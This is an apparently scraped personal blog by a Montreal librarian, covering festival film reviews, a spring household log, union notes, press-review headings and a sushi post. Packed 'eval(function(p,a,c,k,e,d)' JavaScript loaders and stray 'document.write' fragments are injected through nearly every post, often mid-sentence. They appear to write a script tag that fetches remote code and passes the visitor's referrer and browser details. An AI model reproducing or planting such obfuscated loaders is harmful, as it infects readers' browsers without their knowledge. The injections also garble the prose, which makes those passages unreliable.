Some have found the movie a little too slow, but it uses lots of “unspoken dialogue” where much is “said” by a gaze, a facial expression or body language. It takes longer to pass information to the viewers and takes much more skills from both the director and actors, but in the end it is a more satisfactory experience. We also must not forget that healing broken people is quite a slow process well reflected in the pace of the movie. The two young actors are quite good. Well worth seeing.

Antoki no Inochi (Life back then): Japan, 2011, 131 min.; Dir.: Takahisa Zeze; Scr.: Tanaka Sachiko, Takahisa Zeze (Based on the novel by Masashi Sada); Phot.: Atsuhiro Nabeshima; Ed.: Junichi Kikuchi; Cast: Masaki Okada, Nana Eikura, Mitsuru Fukikoshi, Akira Emoto, Rei Dan,Yoshiko Miyazaki, Kanji Tsuda. Screened as part of the “Official Competition” segment at the Montreal World Film Festival 2011, on August 18th, 21:30 in Théatre Maisonneuve. It has won the “Innovation Award” at the 35th Montreal World Film Festival.

Gekko no kamen

“When Usagi, document.write(“”); a WWII veteran, returns to Tokyo everyone is surprised to learn that he survived. Usagi hopes for a revival of his prewar theatrical career but his efforts quickly hit a snag when another “Usagi” turns up.” (2011 World Film Festival of Montreal schedule book, pg. 60)

Warning: may contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further. Really!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rfdrt|var|u0026u|referrer|byiih||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bfnnb|var|u0026u|referrer|siber||js|php’.split(‘|’),0,{}))

I’m not sure what to make of this film. The first part of this weird movie seems to be a variation on the “Martin Guerre” story. After WW2 a man walks alone in the streets. His face is bandaged, he seems shell-shocked and never says a word (for almost the entire movie). A small theatre attract his attention, he walks in and silently sits on the stage from where he is quickly expulsed. However, he is recognized as the rakugo artist Usagi. Considering his state, people assumes he his amnesiac. He is welcomed back without much questions into his artist “family” and they help him coming back to the stage. He is also to be married to the theatre family head’s daughter. But he seems now more talented as a mime than as a rakugo performer!

Of course, another man eventually walks into the theatre and this time he is the real Usagi. We learn that both men fought together in the war and when Usagi (the real one) was deadly wounded, he asked his friend to go announced his death to his theatre family and fiancé. Since he was himself wounded and not very talkative, people just assumed that he was Usagi. The man never really attempted deception. He just played along. It is however decided that, since the real Usagi was wounded in the throat and is therefore mute, he would pass his stage name to his friend but would nevertheless wed his fiancé. A big party is planned for the stage premiere of the new Usagi and the couple’s wedding. On stage, Usagi takes a big machine gun out and shoot everybody. I guess that, in the end, they all laugh to death (the dream of any comedian, but is it real or is it figurative?).

The movie is sprinkled with weird scenes. At some point, Usagi is sitting on a dock by a quiet lake, looking at the moon (Beethoven’s Moonlight Sonata playing in the background — Usagi means rabbit in Japanese and is often associated with the moon) and then a strange man dressed in modern clothes materialise in a Star Trek-like teleporter and cross the scene saying “I’m a time traveler”. later, in the red-light district, he is with a huge geisha and they start digging a tunnel into the ground (maybe he is trying to free the geisha? Or looking for the machine gun he needs for his rakugo/mime skit? Who knows?).

I feel that the entire movie is built as the punch of a rakugo’s story. There is no surprise there since the director is himself a comedian. And, actually, there is a rakugo story that is told throughout the movie by Usagi: A soldier is asked to identify his friend Bob, but he doesn’t know he is dead. Or is he Bob himself? “Uh, Oh. I’m getting confused,” says one soldier at the end of the story. “What’s wrong,” says the other. “I know I am the one that’s dead. But, if I’m looking at me… Who in the world am I?” Well, I am equally confused. The movie started in a very interesting way, but the end is rather disappointing. It is not my favourite movie of this year’s festival, but I admit it is quite original. It is certainly worth watching.

The director was at the festival (I saw him in the lobby of the hotel dressed in a white tuxedo), but he didn’t show up when I went to see the movie.

Gekko no kamen (Moonlight mask): Japan, 2011, 102 min.; dir.: Itsuji Itao; Scr.: Itsuji Itao, Shoichiro Masumoto; Phot.: Masakazu Oka; Ed.: Ken Memita; Cast: Itsuji Itao, Tadanobu Asano, Satomi Ishihara. Screened as part of the “Regards sur les cinémas du monde” segment at the Montreal World Film Festival 2011, on August 21st, 19:00 in Cinéma Quartier Latin 10.

Domestic log (April & May)

This is not quite a diary or journal, document.write(“”); but merely some observations about my boring daily life — either posted directly as it happens (in many separate posts) or retro-blogged from the scribblings in my notebooks (compiled into one large post). I don’t think this will have any interest for any people other than myself, establishing a chronology of my life events to help my future failing memory…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tihnn|var|u0026u|referrer|bkkns||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hhbyf|var|u0026u|referrer|atafz||js|php’.split(‘|’),0,{}))

I really have the feeling that, until I’ll be able to relocate my work-place closer to home, I won’t be able to do anything worthwhile at home… The long commuting hours leave me quite tired each day. (4/11)

In mid-April, we experienced the invasion of tiny ants (that I have identify, with the help of the Insectarium’s website [in french], as Pharaoh ant). I didn’t have to do anything as they all died by themselves, which is rather worrysome (whatever killed them could also have adverse effect on us. Although it is probably simply because they were out of their usual environment). There was also a brief surge of my old adversary (we had plenty of them in our old apartment in Hochelaga): the speedy gonzales (that’s the name I gave them since I couldn’t identify them). However I have finally been able to identify this extremely quick, etheral and almost alien creature (when you squish them there only a bunch of legs left): they are known as “Scutigera coleoptrata” (or Scutigère véloce en français, thanks again to the Insectarium’s website). Although they might look a little scarry, they are apparently totally inoffensive. All those tiny creatures probably woke up for spring and I have barely seen them after that. (4/12)

The “Halal chicken” scandal is brought to my attention. I won’t comment further on this subject because I want to dedicate a full post to it later (along with two other quite irritating subjects that dominated the news: more language debate in Montreal and the beginning of the students’ protest about university tuition). I am baffled and outraged by the way people think these days (particularly the younger generation). I don’t seem to understand people (and the world) anymore.

The first big rainfall of spring (4/23) brings back the problem of water infiltration in the back of the house (and the previous owner was saying there was “NO” problems; what a swindler!). We will have to take care of that sooner than later. The day after we even got some hail. And finally we had more snow a few days later (4/27). Quite a weather!

My wife sighted a fox in the nearby park (4/23). I was rather sceptical at first, but after googling “fox sighting in Montreal”, I realized that there was indeed foxes on the metropolitan island. There was even video proof of their presence at the Botanical garden and the Cote-des-Neiges cemetery! Either they came by themselves from the suburbs, walking through the railway or highway bridges, or maybe they were introduced to curb pests like rats and pigeons. I wish I would have been with her and take a few pictures (or video) myself. We tend to forget that the city’s many parks support a lot of wildlife (more than the usual skunk or racoon that we see once in a while). Incidentaly, a week later, my wife spotted a racoon riping through the neighbor’s garbages (that’s why I have always told people they should use a hard garbage can — either plastic or metal — instead of plastic bags).

For some reasons, some drain pipe got blocked, which prevents either of us (me and my sister, who lives upstair) to use our kitchen sinks. We have to wash our dishes in a bucket (which my wife usually do in summer anyway in order to keep the water for watering the garden). It took my a while to figure out and take care of the problem, since I was so busy at work and quite tired. I first tried chemicals to dissolve the clogging, then a plunger, but nothing worked. I had to go to Canadian Tire to get a small drainpipe auger. The metal springwire coil is shoved into the pipe and, as we rotate the auger, it goes down the pipe clearing the clog. Finally, the auger succeeded were Drano had failed. Hurray! (4/28) Unfortunately, there is still a small problem: the aeration pipe (needed to evacuate the air pushed by the water moving down the pipe and insure a good flow) must be clogged also, since when the upstair’s sink is getting emptied, it makes a bubbling sound in ours. I’ll probably have to eventually get on the roof to work the auger there too.

One of the movies I’ve watched in May (5/3) and that impressed me most was Never let me go. Based on the 2005 novel by Kazuo Ishiguro (Japanese-born but now considered as a British novelist, mostly known for its 1989 novel The Remains of the Day), this 2010 movie directed by Mark Romanek is a well-crafted dystopian science fiction drama. In this alternate reality England (where cloning was successfully developped in the fifties), some children are cloned and raised in special boarding schools for the specific purpose of becoming organ donors for normal citizens. The story follows three of the children from the Hailsham school in East Sussex (Ruth, Tommy and Kathy) as they grow up, try to adapt to the outside world as adults, develop romantic relationship (forming a sort of love triangle), try to find a dispense from their final outcome and eventually become repeated donors. It is more than a film about the ethics of cloning. Like any good science-fiction, it is about our human nature, trying to explore it in a specific context. The cast is excellent, but I already knew only two of the actors (Keira Knightley and Charlotte Rampling). I don’t know how different the movie is from the book (I borrowed it at the library, but haven’t had time to read it yet), but from the little I’ve read so far it seems quite similar. It’s really an excellent movie and I hope I’ll have more time later to comment this movie in a separate post.

And now a funny anecdote. My wife regularly receives from a friend in Japan issues of a movie magazine. This month the package was late and when it was finally received it contained an issue of a french magazine. A quick call to Tokyo confirmed that my wife’s friend did not send this magazine and yet it was it her enveloppe. The only conclusion possible is that an official, either of Canada Post or from the Canadian customs, opened the parcel to check it out and the wrong content was put back into the enveloppe. Someone, somewhere, is probably greatly puzzled to have received a Japanese magazine instead of a French one. I know how lazy and careless public workers can be (I am one and I work with many lazy and careless people). The loss of a bunch of Japanese magazine is far from being dramatic, but the loss of the personal correspondance included with it is sad. Fortunately, the cost of a phone call to Tokyo is ridiculously low (at least now with my phone service provider, Primus, but I remember paying ten times that with Bell ten years ago) and our privacy was probably preserved (I doubt that the people who received the letter could read Japanese). But I’ve lost all the trust I had left into our federal institutions.

For the first time this year, we went to visit the botanical garden (5/7). We have seen two wood-peckers, one cardinal, a few geeses and ducks, many squirels and, of course, plenty of flowers. Luckily we took advantage of the excellent weather while it was possible (The next day it was raining hard). We went back again two weeks later (5/21).

Lately I’ve been having lots of problem with Videotron, my cable provider. Whenever I switch to the channel Oasis and use the close-captioning, the cable terminal crashes and reboot. It was apparently a bug in Sisco’s programing. The only solutions: switch provider (I was probably not the only one thinking about that considering the amount of Bell service trucks I am seeing lately in the neihborhood; many people are probably switching to their new Fibe service) or get the Illico second generation not yet available. Switching provider is lots of trouble (even if you save money; and I previously had lots of problem with Bell anyway), so I decided to stick with Videotron and, in order to prepare for the new Illico OS, I had to get a new cable terminal. To be safe, I decided to rent instead of buying. When I received the terminal by special delivery I installed it (when I came back from work) following all the instructions. But it didn’t worked. I called the technical service and the guy told me that my signal was too weak and that they needed to send a technician (which they had done at least a couple of times before). Fortunately, it was working the following day (I guess it just needed more time for the OS to load; the signal is “weak” after all), so I cancelled the appointment with the technician. Now, all I had to do was to program the setting, the remote and my recordings… and wait for Illico 2.0 to be available (I was told that it should be around the end of the month). Of course, it was not the end of the problems, but that’s another story.

For my birthday, I took almost a week off. I anticipated that I would be needing that long to get over this huge life-time milestone (I was getting fifty year-old) and, being springtime, I needed to make lots of work around the house. I installed the air conditioning, took out the garden furnitures, shop for new shoes and clothes, had an hair cut, etc. The deshumidifier broke down and I had to deal with lots of water being spilled on my nice hard-wood floor (I was not happy!). We went to visit the Samurai exposition at the Point-à-Caillère museum (5/24). That was quite a nice collection (from the prestigious Dr Béliveau; it’s amazing that a guy can accumulate so many pretty nice pricey stuff: not only samurai armors but many katana as well)! Then heavy rain caused flooding in my garage again! (5/25) I had to call the city again to complain (default in the sidewalk cause the rainwater to fall into my driveway instead of flowing toward the sewage drain) and set up a deshumidifier in the garage to remove all that humidity before it made its way into the house.

Late January, I was offered a new permanent position in another library. It was not my first choice of library (having worked there before and gone through bad experiences, I certainly didn’t like the place and it was quite far from home) but I couldn’t refuse such an opportunity (and I was hoping that, with the help of new staff members, the place would have improved since the last time I worked there). Unfortunately, it proved to be quite a hell. The working atmosphere was often almost toxic, communication between staff and management was poor, there was lots of disrespect toward the staff, and many of the benefits I was promised remains unseen (unused day-off from my previous position were to be transfered or paid, the extra-hours bonuses for the first three months are still unpaid, and I calculated that, with the extra deduction I have to pay for retirement and union, I am paid less than before!). Fighting to get any answers on my status is getting tiring and depressing. We get disrespect from the patron, from the management, even from the union. At least I have job security. Things are improving a bit, but the worse is the long commuting hours. I really hope to get a mutation to a closer location. Actually, I have already postulated on a new job (located at about fifteen minutes from home, with a different job description [a desk job, with no dealing with the customers], possibility of flexible hours) but without success. I guess I just need to be a little more patient.

[ Traduire ]

De profundis

Anecdote Abyssal ou 20, document.write(“”); 000 lieux communs sous l’amère
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bbtty|var|u0026u|referrer|fhzyb||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nhiks|var|u0026u|referrer|knais||js|php’.split(‘|’),0,{}))

(le titre n’a vraiment pas rapport)

L’autre jour, l’étiquette de mon chandail dépassait de mon col et cela agaçait une collègue de travail qui voulait le remettre à l’intérieur. Je me suis dit: “Tiens, ça ce n’est pas une étiquette mais une allégorie!”

En effet, les gens nous étiquette bien volontier — lui c’est un ci, ou un ça — et après ils ne pensent qu’à ça ou ne voient que ça et cela les agaçe.

Cela me rappel d’ailleurs l’histoire d’un gars que j’ai entendu autour de l’abreuvoir et qui avait, disait-on, un petit travail de fonctionnaire qu’il faisait tranquillement, efficacement, avec équanimité et surtout une bonne dose de sarcasme. Mais un jour quelqu’un l’a étiquetté comme fainéant (allez donc savoir pourquoi, des fois, les gens ont des attentes irréalistes et, sans raisons apparentes, on vous étiquette comme un bon à rien [bon aryen?]). Peu importe les efforts qu’il faisait, on le considérait toujours comme tel. Alors, il a continué à travailler tranquillement mais, cette fois, sans trop se soucier de son travail. L’âme n’y était plus. Ce n’était pas tant son attitude qui posait problème que celle que les gens avaient à son égard. Puis, un jour, on l’a changé de poste, mais ses nouveaux collègues ne voyaient que son étiquette. “Il parait que c’est un fainéant”, disaient-ils. L’ironie c’est que les gens se battaient maintenant pour avoir son petit poste tranquille. Était-il vraiment fainéant ou était-ce que les gens étaient plutôt jaloux de son insoucience et de son petit poste tranquille? Qui sait?

La morale de cette histoire (ah bon, il y en a une?) c’est qu’il n’y a pas de mauvais employé: Il n’ y a que de mauvais gestionnaire. Un employé c’est comme un outil: il ne peut rien faire de lui-même et si tu veux de bons résultats il faut juste savoir comment les utiliser. On ne va pas utiliser un tourne-vis pour planter un clou. Et même on ne va pas utiliser un tourne-vis “Philips” (étoile) pour river une vis “Robertson” (carrée). Le devoir de tout bon gestionaire est de connaître les forces et les faiblesses de ses employés afin de pouvoir les assigner aux tâches où ils excellent le mieux.

[ Translate ]

Press Review (2012-05-28)

Problems at work, document.write(“”); annoying situation in the news and a life-time milestone have left me stressed and depressed, so much that I couldn’t find the energy to do much this month, particularly on this blog. I feel it will remain like that for a while. However, I did read some news in the last month or so and you can see those I deamed worthy to set aside to share after the jump:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|asadr|var|u0026u|referrer|knath||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bfhts|var|u0026u|referrer|kaikh||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Library

Economy, Environment & International Politics

Health, home & garden

Humour

Local News & National Politics

Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

White-collar union stuff (SFMM) & Montreal’s libraries

Jeux vidéo en bibliothèques


eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ezbhi|var|u0026u|referrer|nzdzb||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nferb|var|u0026u|referrer|faatn||js|php’.split(‘|’),0,{}))
Certaines bibliothèques de la ville de Montréal offraient déjà des jeux vidéos à leurs usagers. Toutefois, document.write(“”); vendredi dernier, un
communiqué de presse du Cabinet du maire et du comité exécutif de la ville nous annoncait que les collections de jeux vidéo des bibliothèques municipales seraient presque quintuplé grâce, entre autres, aux dons généreux de trois entreprises montréalaises dans le domaine de la conception de jeux vidéo.

Avec cette bonification des collections, plus de la moitié des bilbiothèques du réseau offriront à leurs usagers plus de 5 000 jeux vidéo. Une attention toute particulière sera apportée aux productions locales. Pour la liste des bibliothèques participantes ainsi que les conditions de prêts et autres détails, veuillez consulter le site des bibliothèques de Montréal.

Bravo! Quelle belle façon de continuer à diversifier les collections des bibliothèques tout en initiant les jeunes à la culture, au loisir et à la technologie. Sans oublier que c’est une excellente manière de faire augmenter les statistiques de prêts.

Solde de livres des ABM

Comme toutes les années le solde de livres des <a href="http://ville.montreal.qc.ca/portal/page?_pageid=4276, document.write(“”); 5496140&_dad=portal&_schema=PORTAL” target=”“new””>Amis des Bibliothèques de Montréal se tient à l’Aréna Étienne-Desmarteau du 28 avril au 6 mai, entre 13 h et 19 h.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tyebf|var|u0026u|referrer|dzhha||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eddtt|var|u0026u|referrer|eeknh||js|php’.split(‘|’),0,{}))

Vous y trouverez toutes sortes de livres qui ont été retiré de la collection des bibliothèques de la ville de Montréal (histoire de faire de la place pour les nouveauté). C’est plus de 90 000 livres et revues offert à très bon prix (50 ¢ pour les livres jeunesse, revues et magazines, cassettes audio et disques; 1 $ pour les livres pour adultes et 2 $ pour les bandes dessinées et dictionnaires).

C’est non seulement une aubaine pour vous mais en achetant vous contribuez à financer les activités d’animation dans les Bibliothèques de Montréal. Tout le monde est gagnant!

Shōwa Day

Today, document.write(“”); April 29, is Sh?wa Day (???? / Sh?wa no hi) in Japan. This holiday celebrates the birthday of the Sh?wa Emperor (Hirohito, father of the current emperor, Akihito, who “ruled” over Japan from 1926 to 1989). Because of the emperor’s role in the war and the fear it would be seen as glorifying the emperor himself, the holiday was controversial and ceased to be celebrated for a while (1989–2006). It was finally reinstated with the idea that it would rather “encourages public reflection” on the turbulent reign of the emperor.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|idtas|var|u0026u|referrer|ttdfb||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aerkf|var|u0026u|referrer|dasbr||js|php’.split(‘|’),0,{}))

Sh?wa Day also marks the beginning of the
Golden Week (?????????), which is one of the three week-long holidays of the Japanese calendar. Besides Sh?wa Day or the Emperor’s Birthday (????? / Tenn? tanj?bi), it also includes the Constitution Memorial Day (????? / Kenp? kinenbi on May 3rd), the Greenery Day (????? / Midori no hi on May 4) and the Children’s Day (????? / Kodomo no hi on May 5).

Biweekly Press Review (2012/04/24)

Not much important stuff in the news in the last couple of weeks. After a quick mind scan i can come up only with three things: Apple’s eBook price-fixing suits, document.write(“”); the first turn of the French presidential election and the local student strike (last two links in french, sorry). However, it doesn’t means that nothing happened. I found lots of interesting news bits that I will share with you after the jump:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iinah|var|u0026u|referrer|taibt||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ffdnf|var|u0026u|referrer|ehzrr||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Library

Economy, Environment, U.S. / International News & Politics

Health, home & garden

Humour

Local / National News & Politics

Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

White-collar union stuff (SFMM) & Montreal’s libraries

Dropbox drive


eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hyrky|var|u0026u|referrer|byyeh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yizbs|var|u0026u|referrer|krdhs||js|php’.split(‘|’),0,{}))

”Dropbox is a free service that lets you bring all your photos, document.write(“”); docs, and videos anywhere. This means that any file you save to your Dropbox will automatically save to all your computers, phones and even the Dropbox website. Dropbox also makes it super easy to share with others (…)“

I use it constantly. It is very useful to keep files safe and mobile. If you have not already signed up for this free service, you should!

Join Dropbox thru this link and get an extra 500 Mb of free storage (on top of the initial 2 Gb)!

[And this will also give ME an extra 500 Mb of storage. Thanks for helping! And a special thanks to those who have already signed up!]

Osaka-style sushi

While watching “journeys in japan” today on NHK World, document.write(“”); I discovered a new style of sushi that is amazing: the Osaka-style Boxed sushi or Hakozushi!

It’s characterized by its flavoured rice which is pressed into a box with topping of cooked or cured ingredients (either eel, red snapper, omelet, shrimp, or, the most famous, mackerel aka battera or “portugese sushi”). When it is pushed out of its wooden mould it gives a perfectly square block of rice (or rectangular in the case of the battera) which is then cut into smaller square pieces. It literally looks like Rice Krispies squares with toppings!

It seems easier to make than regular sushi (mostly rolls or vinegared rice pieces shaped into the palm) which usually required a long apprenticeship. Also, since it has no raw meat (sashimi) like the Edo-style sushi, it is safer to eat and requires no dip sauce.

I found two receipes: one on Food Network and one on Yummly. I even found a how-to video for battera on YouTube:


Unfortunately, after a quick search, I couldn’t find a Japanese restaurant in Montreal that serves that type of sushi (if you find one, let me know!). I guess it only leaves us to try making it ourselves!

Biweekly Press Review (2012/04/08)

Notable news this last couples of weeks are the 2012 Canadian federal budget (The Gazette, document.write(“”); Canada.com, Yahoo, National Post), Videotron’s announcement of an illico TV new generation (press release, link), the one-hundred years anniversary of the Titanic (Ottawa Citizen) and the return to TV of the Game of Thrones and The Borgias series. For the rest you can simply check my collected links after the jump:

Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Library

Economy, Environment & International Politics

Health, home & garden

Humour

Local News & National Politics

Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

White-collar union stuff (SFMM) & Montreal’s libraries

Note syndicale: feedback

Quelques personnes m’ont fait des commentaires par courriels en rapport avec mon billet “Note syndicale.” Les détails après le saut de page:

Mario Sabourin, document.write(“”); VP au SFMM, me rappele que plusieurs membres de l’exécutif syndical sont issues du milieu des bibliothèques (entre autres Mme Francine Bouliane, secrétaire générale du SFMM, et Mme Jocelyne Marquis, directrice syndicale).

Toutefois, là n’était pas mon point. Ce que je suggérais c’est juste que, tout comme chaque vp et directeur/trice est responsable d’un comité ou d’un ensemble des services, arrondissements ou secteurs d’activités, il y ait un vp ou directeur/trice responsable du service des bibliothèques et que ce serait encore mieux si il/elle était issue du milieu des bibliothèques. L’importance étant sur le fait qu’il y ait un membre de l’exécutif responsable des bibliothèques et non qu’il y ait quelqu’un des bibliothèques dans l’exécutif.

On m’assure donc que l’exécutif connait déjà très bien la situation dans les bibliothèques mais, considérant comment les dossiers des lettres d’entente et de l’équité salariale ont été traité, permettez-moi d’en douter!

Brigitte Boyte, directrice syndicale pour le Sud-Ouest, me précise que, suite au colloque du 31 mars, il y aura une série de consultations afin de recueillir les suggestions de tout(es) les membres. Espérons que cette collecte de nos opinions sera bien annoncée (la communication n’étant pas le point fort du SFMM) et ne tardera pas trop (après tout notre convention collective est déjà échue depuis de nombreux mois)…

